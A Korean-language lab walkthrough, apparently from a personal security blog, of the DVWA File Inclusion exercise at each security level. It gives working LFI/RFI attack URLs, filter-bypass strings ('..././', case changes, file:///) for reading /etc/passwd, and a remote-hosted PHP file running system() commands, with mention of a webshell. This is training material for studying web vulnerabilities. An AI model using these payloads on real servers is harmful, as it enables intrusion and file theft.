DVWA File Inclusion 실습 설명서

"Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.
"DVWA Security" 항목에서 "Security Level"을 시험하고자 하는 보안수준에 따라 Low, Medium, High 로 변경한다.

파일실행(File Inclusion) 취약점 개요

파일실행 취약점은 공격자가 지정한 파일 내에 포함된 서버스크립트 코드를 실행하는 공격이다. 공격자의 파일이 웹 서버 내부에 있으면 내부파일실행(LFI, Local File Inclusion), 원격지에 위치하는 경우에는 외부파일실행(RFI, Remote File Inclusion)이라고 부른다. 또는 RFI를 원격파일실행이라고도 부른다.

최근에는 PHP가 외부파일에 접근하는 것이 기본적으로 비활성화되어 있으므로 실제 서비스에서 RFI 취약점은 거의 발생하지 않는다. 개발자들의 인식이 확산되면서 LFI의 경우에도 흔하지는 않은 취약점이 되어가고 있다. LFI 취약점은 파일업로드(웹쉘업로드) 취약점에 비해서는 매우 드물게 발견된다.

PHP의 경우에는 include(), include_once(), require(), require_once()와 같은 include() 계열의 함수를 사용하면서 그 인자를 변수로부터 입력받을 때 발생한다. 사용자 입력값에 따른 LFI 위험도를 살펴보면 다음과 같다.

위험도 상: include($_GET['filename']);
위험도 중: include($_GET['filename'].'.inc');
위험도 하: include('include.php');

위험도 상의 경우는 PHP 실행에 포함할 인자를 온전히 filename에서 받는 경우이다. 어떠한 파일이라도 입력할 수 있으므로 매우 위험하다.

위험도 중의 사례는 filename에 .inc 문자열을 덧붙여서 파일을 참조하는 것이다. 이 경우에는 inc 확장자를 가지는 파일을 업로드할 수 있으면 매우 위험하다. 또다른 경우로는 널문자삽입(Null-byte Injection, %00 삽입)이 가능할 때는 확장자에 상관없이 LFI 취약점이 발생할 수 있다.

위험도 하의 사례는 특정파일을 지정하는 것이다. 이 경우에는 공격자가 참조 파일의 이름을 알 수 없기 때문에 - 실행결과에는 어떤 파일을 참조했는 지 나타나지 않으므로 - LFI 공격 가능성이 매우 낮다.

내부파일실행과 경로조작의 차이
내부파일을 참조한다는 점에서 LFI와 경로조작(Path Traversal)은 서로 닮은 취약점이다. 다만 참조한 파일 내에 실행코드가 있을 때 이를 실행한 결과를 전달하면 LFI라 부른다. 서버스크립트 코드를 포함하여 파일의 내용을 그대로 출력하는 경우에는 경로조작이라고 부른다. OWASP-ZAP과 같은 웹취약점 스캐너는 시스템 파일의 내용이 출력되면 경로조작으로 판정한다. 가장 대표적으로 사용하는 내부파일이 /etc/passwd 파일이다. 이 파일에는 PHP 코드가 없으므로 LFI와 경로조작을 구분할 수 없다. 때문에 - 경로조작보다 위험한 - LFI 취약점 여부를 판단하기 위해서는 PHP 코드가 포함된 파일을 입력값으로 전달하여 그 결과를 비교하면 된다. 예를 들어 거의 모든 PHP 기반 홈페이지에 존재하는 index.php 파일을 이용하면 확인이 가능할 것이다.

Vulnerability: File Inclusion 공략: Security Level = Low

DVWA의 Vulnerability: File Inclusion 실습 문제에서는 page=include.php, page=file1.php, page=file2.php, page=file3.php와 같이 4개의 내부파일을 참조한다.

http://192.168.206.136/vulnerabilities/fi/include.php
http://192.168.206.136/vulnerabilities/fi/file1.php
http://192.168.206.136/vulnerabilities/fi/file2.php
http://192.168.206.136/vulnerabilities/fi/file3.php

참조하는 파일의 위치는 위과 같은 방식으로 접근하여 서버 응답에서 알아낼 수 있다.

웹취약점 스캐너는 LFI나 경로조작을 탐지할 때 주로 /etc/passwd 파일을 사용한다. 이 파일의 시작은 root:x:0:0:이기 때문에 스캐너가 탐지하기 매우 쉽다. 이 파일을 page 변수에 입력해 보자.

http://192.168.206.136/vulnerabilities/fi/?page=/etc/passwd
http://192.168.206.136/vulnerabilities/fi/?page=../../../../../../../../etc/passwd
http://192.168.206.136/vulnerabilities/fi/?page=file:///etc/passwd

위와 같이 여러가지 방식으로 시험해 볼 수 있다.

다음은 Vulnerability: File Inclusion (low level)에서 http://192.168.206.136/vulnerabilities/fi/?page=/etc/passwd에 접근한 화면이다.

DVWA File Inclusion low level
[ ↑ DVWA File Inclusion (low level) : /etc/passwd 경로조작 ]

결과 페이지의 상단에 이상한 문자열이 나타난다. Firefox의 HTML 소스보기(View Page Source)를 하면 다음과 같은 화면이 보인다.

DVWA File Inclusion low level, /etc/passwd
[ ↑ DVWA File Inclusion (low level) : /etc/passwd 경로조작 HTML 소스 ]

Firefox의 소스보기 URL은 view-source:http://192.168.206.136/vulnerabilities/fi/?page=/etc/passwd이다. HTML 소스의 가장 윗쪽에 /etc/passwd 파일이 출력되는 것을 볼 수 있다. (HTML은 줄바꿈문자(\n)를 공백으로 처리하기 때문에 명령어 실행결과를 볼 때는 HTML 소스를 보는 것이 편리할 때가 많다.)

외부파일실행(RFI) 탐지

원격지에 있는 파일을 읽을 수 있는 지는 다음과 같이 널리 접근할 수 있는 URL을 전달하면 된다.

http://192.168.206.136/vulnerabilities/fi/?page=http://www.google.com/robots.txt
http://192.168.206.136/vulnerabilities/fi/?page=http://webhack.dynu.net/robots.txt

페이지의 상단에 robots.txt의 내용이 출력될 것이다. DVWA 훈련장에서 직접 시도해보길 권하며 화면은 생략한다.

원격 서버에 PHP 코드를 포함하는 파일을 만들었다. LFI나 RFI에서는 확장자를 구분하지 않으므로 .txt 파일로 저장하였다. curl로 확인하면 다음과 같다.

root@kali:~# curl http://webhack.dynu.net/solutions/dvwa-fi-php.txt
<pre><?php system('uname -a; id'); ?></pre>
root@kali:~#

http://webhack.dynu.net/solutions/dvwa-fi-php.txt의 내용은 PHP의 system() 함수를 이용하여 uname -a, id 명령어를 연이어 실행하는 것이다. <pre>를 이용하여 명령어 실행결과가 웹페이지에서도 줄바꿈이 되도록 하였다. 이 파일의 URL을 DVWA File Inclusion 문제의 page 변수에 입력한다.

DVWA File Inclusion low level, remote file inclusion
[ ↑ DVWA File Inclusion (low level) : 외부파일실행(RFI) 결과 화면 ]

http://192.168.206.136/vulnerabilities/fi/?page=http://webhack.dynu.net/solutions/dvwa-fi-php.txt 접속 화면은 위와 같다. 페이지의 상단에 리눅스 서버의 시스템 정보와 현재 구동중인 웹 서버의 실행권한을 확인할 수 있다.

Linux slitaz 2.6.37-slitaz #2 SMP Wed Mar 7 10:36:39 CET 2012 i686 GNU/Linux
uid=80(www) gid=80(www) groups=80(www)

공격자는 RFI 취약점이 존재한다는 것을 알게 되었다. 이제 원격지의 파일을 PHP 웹쉘로 바꿔치면 uid=80(www) 권한으로 할 수 있는 작업은 모두 수행할 수 있을 것이다. RFI는 파일을 웹서버로 업로드할 필요가 없으므로 파일업로드 취약점보다도 훨씬 위험하다.

Vulnerability: File Inclusion 공략: Security Level = Medium

보안수준을 medium level로 바꿔보자. 그리고 PHP 소스를 확인하면 다음과 같다.

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

page 변수의 값에서 "http://", "https://", "../", "..\" 문자열을 모두 지운다. 간단한 꼼수로 우회가 가능하다.

/vulnerabilities/fi/?page=http://webhack.dynu.net/solutions/dvwa-fi-php.txt (안됨)
/vulnerabilities/fi/?page=HTTP://webhack.dynu.net/solutions/dvwa-fi-php.txt
/vulnerabilities/fi/?page=httphttp://://webhack.dynu.net/solutions/dvwa-fi-php.txt
/vulnerabilities/fi/?page=../../../../../../../etc/passwd (안됨)
/vulnerabilities/fi/?page=..././..././..././..././..././..././..././etc/passwd

대소문자를 구분하는 str_replace() 함수를 사용하고 있으므로 Http://, HTTP://, hTTp:// 등으로 우회가 가능하다. hthttp://tp://는 http://가 삭제되어 http://로 복원된다. ..././는 ../ 문자열이 삭제되어 ../로 복원된다.

DVWA File Inclusion medium level, bypass with case-sensitivity
[ ↑ DVWA File Inclusion (medium level) : 대소문자 구분으로 우회한 RFI ]

위의 그림은 http://192.168.206.136/vulnerabilities/fi/?page=HTTP://webhack.dynu.net/solutions/dvwa-fi-php.txt에 접속한 결과이다. PHP가 실행된 결과를 볼 수 있다. 대소문자가 구분되는 점을 악용하여 변수검증 기능을 우회하였다.

DVWA File Inclusion medium level, /etc/passwd path traversal
[ ↑ DVWA File Inclusion (medium level) : 검증기능 결함을 이용한 경로조작 ]

위의 그림은 http://192.168.206.136/vulnerabilities/fi/?page=..././..././..././..././..././..././..././etc/passwd 접근 화면이다. 페이지 상단에 /etc/passwd 파일이 출력된 것을 볼 수 있다. 변수 검증 기능의 결함을 이용하여 우회한 결과이다.

Vulnerability: File Inclusion 공략: Security Level = High

Vulnerability: File Inclusion의 보안수준 High level 문제는 이 경우에 특화된 것이다. 먼저 PHP 코드를 살펴보자.

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

이 실습 문제에서 page 변수값에 사용되는 파일은 모두 include.php, file1.php, file2.php, file3.php였다. 효율적인 코딩을 위해서 개발자는 파일 이름이 "file"로 시작하는 경우(fnmatch( "file*", $file ))와 include.php인 경우에 대해서만 입력을 허용하였다.

우회 1: 파일을 업로드할 수 있으면 "file"로 시작하는 파일을 업로드한다.
우회 2: PHP가 지원하는 file:// 형식의 URL을 사용하면 로칼 파일시스템에 접근할 수 있다.

PHP에서 사용하는 URL 형식에 대해서는 Supported Protocols and Wrappers in PHP를 참조하기 바란다.

DVWA File Inclusion high level, /etc/passwd path traversal
[ ↑ DVWA File Inclusion (high level) : /etc/passwd 경로조작 ]

Vulnerability: File Inclusion의 보안수준 high level에서도 http://192.168.206.136/vulnerabilities/fi/?page=file:///etc/passwd를 접근하면 /etc/passwd 파일의 경로조작이 가능함을 알 수 있다. file:///etc/passwd는 "file"로 시작하고, PHP는 이를 내부 파일로 인식하기 때문에 정상적으로 참조함으로써 high level의 방어기작을 우회하였다.

이제 공격자는 자신이 원하는 PHP 코드를 담은 파일을 웹서버로 업로드할 방법을 찾을 것이다. 이를 성공하면 high level 문제에서도 LFI 취약점이 발생하게 된다.

Vulnerability: File Inclusion 공략: Security Level = Impossible

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

보안수준 Impossible level에서는 입력할 수 있는 경우의 수를 4개의 파일 이름으로만 제한하였다. 이런 경우에는 LFI 취약점이 발생할 확률은 거의 없다.

덧붙임

RFI 취약점은 웹취약점분석 현장에서는 거의 발견되지 않고 있다(개인적으로는 지난 몇년간 탐지 건수 0). LFI 취약점과 관련된 최근의 동향을 보면 아주 드물게 공개용 CMS 등에서 발견되기도 한다. 소스 수준에서 분석할 때에나 나타날 정도로 귀한(?) 취약점이다. 소스 수준의 취약점 분석에서는 include(), include_once(), require(), require_once() 같은 함수에 URL 변수값이 전달되는 지를 검사하면 LFI 취약점 여부를 판단할 수 있다.

[처음 작성한 날: 2016.12.15] [마지막으로 고친 날: 2016.12.15]

> 이 글을 목록없이 인쇄하기 편하게 보기

< 이전 글 : DVWA CSRF (low, high level) 실습 설명서 (2016.12.08)

> 다음 글 : DVWA File Upload 실습 설명서 (2016.12.21)

이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문